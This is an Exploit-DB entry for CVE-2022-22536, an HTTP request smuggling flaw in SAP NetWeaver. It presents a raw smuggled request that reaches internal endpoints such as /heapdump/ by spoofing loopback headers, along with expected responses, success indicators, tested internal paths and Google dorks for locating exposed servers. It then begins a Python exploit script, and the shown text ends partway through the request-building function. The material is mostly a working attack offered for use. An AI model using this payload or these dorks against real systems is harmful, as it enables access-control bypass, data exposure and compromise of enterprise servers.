Exploit-DB #52109
Description: SAP NetWeaver - 7.53 - HTTP Request Smuggling
Type: remote
Platform: multiple
Date: 2025-04-02
Author: C41Tx90

Exploit:
# Exploit Title: SAPGateBreaker Exploit - CVE-2022-22536 - HTTP Request Smuggling Through SAP's Front Door
# Google Dork: https://github.com/BecodoExploit-mrCAT/SAPGateBreaker-Exploit/blob/main/dorks
# Date: Tuesday, April 2, 2025
# Exploit Author: @C41Tx90 - Victor de Queiroz - Beco do Exploit - Elytron Security
# Vendor Homepage: https://community.sap.com/t5/technology-blogs-by-members/remediation-of-cve-2022-22536-request smuggling-and-request-concatenation/ba-p/13528083
# Software Link: https://help.sap.com/docs/SUPPORT_CONTENT/uiwits/[PII_REDACTED].html
# Version: SAP NetWeaver Application Server ABAP, SAP NetWeaver
Application Server Java, ABAP Platform, SAP Content Server 7.53 and
SAP Web Dispatcher
# Tested on: Red Hat Enterprise Linux (RHEL)
# CVE : 2022-22536
https://github.com/BecodoExploit-mrCAT/SAPGateBreaker-Exploit

------


              SAPGateBreaker - CVE-2022-22536 HTTP Request Smuggler
     Author: @C41Tx90 - Victor de Queiroz | elytronsecurity.com |
becodoexploit.com

----------------------------------------------------------------------------

Target: SAP NetWeaver Application Server
Vulnerability: CVE-2022-22536
Exploit Type: HTTP Request Smuggling (Content-Length-based)
Impact: ACL Bypass, Internal Access

More information and explanations:
https://github.com/BecodoExploit-mrCAT/SAPGateBreaker-Exploit

----------------------------------------------------------------------------

Sample Payload:
----------------------------------------------------------------------------

GET /sap/admin/public/default.html HTTP/1.1
Host: 172.32.22.7:50000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0)
Gecko/20100101 Firefox/136.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://172.32.22.7:50000/sap/admin/public/default.html
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Cookie: saplb_*=(J2EE7364[PII_REDACTED]
Authorization: Basic YTph
Content-Length: 89

0\r
\r
GET /heapdump/ HTTP/1.1\r
Host: 127.0.0.1\r
X-Forwarded-For: 127.0.0.1\r
\r

----------------------------------------------------------------------------

Expected Response:
----------------------------------------------------------------------------

HTTP/1.1 200 OK
server: SAP NetWeaver Application Server
last-modified: Tue, 01 Sep 2020 11:54:39 GMT
sap-cache-control: +3600
date: Tue, 01 Apr 2025 20:49:02 GMT
content-length: 4465
content-type: text/html
connection: Keep-Alive
x-dummy: 0

----------------------------------------------------------------------------

Indicators of Success:
 - Status code 200 for internal endpoints
 - Difference between direct access (403/404) and smuggled (200)
 - Access to otherwise restricted SAP services via loopback injection

----------------------------------------------------------------------------

Example Paths Tested:
 - /sap/public/bc/icf/info
 - /sap/bc/webdynpro/sap/appl_soap_management
 - /heapdump/
 - /ctc/ConfigServlet
 - /sap/public/bc/icf/logon.html
 - /webdynpro/resources/sap.com/tc~lm~config~content/

----------------------------------------------------------------------------
SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 and SAP Web Dispatcher are vulnerable for request smuggling and request concatenation. An unauthenticated attacker can prepend a victim's request with arbitrary data. This way, the attacker can execute functions impersonating the victim or poison intermediary Web caches. A successful attack could result in complete compromise of Confidentiality, Integrity and Availability of the system.

Google Dorks:


intitle:"SAP NetWeaver Application Server Java" inurl:/webdynpro/resources/
intitle:"SAP NetWeaver" "SAP J2EE Engine"
intitle:"Welcome to SAP NetWeaver" inurl:/irj/portal
intitle:"SAP NetWeaver Administrator" inurl:/nwa
inurl:"/sap/bc/webdynpro" -site:sap.com
inurl:"/sap/public" "SAP NetWeaver"
inurl:"/sap/admin/public/default.html"
inurl:"/webdynpro/welcome/Welcome.html"
inurl:"/sap/public/info.jsp"
"Powered by SAP NetWeaver" inurl:sap
intitle:"SAP Web Dispatcher Administration"


----------------------------------------------------------------------------
# Exploit
import argparse
import http.client
from urllib.parse import urlparse
from colorama import Fore, Style, Back, init
import os

init(autoreset=True)

BANNER = f"""
{Fore.WHITE}
                                      +---------------------------+
     (\__/\      Breaking the Gate    |
{Style.BRIGHT}{Fore.WHITE}by{Style.RESET_ALL}
{Fore.YELLOW}@C41Tx90{Fore.WHITE}            |
     ({Fore.RED}•{Fore.WHITE}デ{Fore.RED}•{Fore.WHITE})
{Style.BRIGHT}{Fore.YELLOW}   CVE-2022-22536{Style.RESET_ALL}      |
 {Fore.GREEN}t.me/becodoxpl{Fore.WHITE}         |
     /   つ     {Fore.WHITE}HTTP Request Smuggler |
{Fore.YELLOW}becodoexploit.com{Fore.WHITE}      |
                                      |
{Fore.LIGHTBLUE_EX}elytronsecurity.com{Fore.WHITE}    |
                                      +---------------------------+
"""

def detect_sap_version(host, port, is_https):
    try:
        conn_class = http.client.HTTPSConnection if is_https else
http.client.HTTPConnection
        conn = conn_class(host, port, timeout=5)
        conn.request("GET", "/")
        res = conn.getresponse()
        headers = {k.lower(): v for k, v in res.getheaders()}
        server_header = headers.get("server", "Unknown")
        print(f"{Fore.YELLOW}[*] {Fore.WHITE}Detected SAP Server
Header: {Fore.CYAN}{server_header}\n")
        return server_header
    except Exception as e:
        print(f"{Fore.RED}[!] {Fore.WHITE}Could not determine SAP
version: {e}\n")
        return "Unknown"

def build_smuggled_request(path):
    return f"0\r\n\r\nGET {path} HTTP/1.1\r\nHost:
127.0.0.1\r\nX-Forwarded-For: 127.0.0.1